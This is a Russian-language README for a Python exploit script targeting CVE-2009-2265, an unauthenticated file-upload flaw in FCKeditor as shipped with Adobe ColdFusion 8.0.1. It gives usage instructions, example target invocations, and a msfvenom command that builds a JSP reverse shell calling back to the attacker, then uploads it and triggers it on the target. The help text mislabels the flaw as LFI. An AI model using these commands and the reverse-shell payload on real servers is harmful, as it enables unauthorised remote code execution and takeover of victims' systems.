
cf8-upload.py | CVE-2009-2265
скрипт на python3 для эксплуатации CVE-2009-2265.
скрипт эксплуатирует уязвимость, обнаруженную в FCKeditor < 2.6.4.1, которая была реализована в Adobe ColdFusion 8.0.1:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2265
скрипт позволяет пользователю отправить файл для загрузки на целевой компьютер, работающий под управлением ColdFusion 8.0.1, и выполнить его.
pip3 install requests
После определения цели, работающей под управлением Adobe ColdFusion 8.0.1, выполните:
chmod +x cf8-upload.py
./cf8-upload.py -h
или
python3 cf8-upload.py -h
опция -h или --help показывает, как запустить скрипт с несколькими примерами. есть два позиционных аргумента и несколько необязательных аргументов.
./cf8-upload.py --help
usage: cf8-upload.py [-h] [-a] [-n] [-r] address path
./cf8-upload.py exploits an LFI vulnerability in
adobe coldfusion 8.0.1
positional arguments:
address ip/hostname, port, sub-directories to the adobe
coldfusion 8.0.1 server
path path to file you wish to upload (eg.
'/path/to/file.txt')
optional arguments:
-h, --help show this help message and exit
-a, --accessible turns off features which may negatively affect
screen readers
-n, --no-colour removes colour output
-r, --request request webpage after successfully uploading
file
examples:
./cf8-upload.py 10.10.10.10 file.txt
./cf8-upload.py 10.10.10.10:8500 /path/to/reverse-shell.jsp -r
./cf8-upload.py hostname:8500/sub-dir /path/to/upload.zip -n
Adobe ColdFusion по умолчанию использует порт 8500, но при выполнении скрипта необходимо указать полный путь к серверу. Стандартная установка ColdFusion может находиться в корневом каталоге на порту 8500, и в этом случае x.x.x.x:8500, скорее всего, подойдет для аргумента address при выполнении скрипта.
cf8-upload.py по умолчанию выводит цветной текст с дополнительным форматированием в терминал, однако это не всегда удобно для тех, кто использует программы чтения с экрана. Использование аргумента --accessible отключит витиеватое форматирование и цветной вывод в терминал. Также будет отключено ASCII-искусство.
этот флаг заставляет скрипт выполнить GET-запрос к файлу, и только после его успешной загрузки. Эта опция полезна, если пользователь загружает обратную оболочку (reverse shell) в уязвимое приложение и хочет немедленно её запустить. Содержимое GET-запроса не выводится в терминал и служит только для запуска события на сервере.
Adobe ColdFusion может читать файлы .jsp, поэтому обратную оболочку можно создать в msfvenom примерно так:
msfvenom -p java/jsp_shell_reverse_tcp lhost=[my ip] lport=[my listening port] -f raw > rshell.jsp
и загрузить:
./cf8-upload.py 10.10.10.10:8500 /path/to/rshell.jsp -r
приложение Adobe ColdFusion 8.0.1 может не иметь возможности перезаписывать существующие файлы, загруженные с помощью скрипта эксплуатации. В этом случае загрузка другого файла с тем же именем, что и ранее загруженный, может привести к тайм-аутам в процессе загрузки. Возможно, вам потребуется переименовать файл, который вы хотите загрузить, перед повторной попыткой.
скрипт был в первую очередь упражнением в создании короткой, всеобъемлющей, автономной программы для одной уязвимости с упором на читаемость и доступность.
https://skerritt.blog/a11y/ — реализация доступности.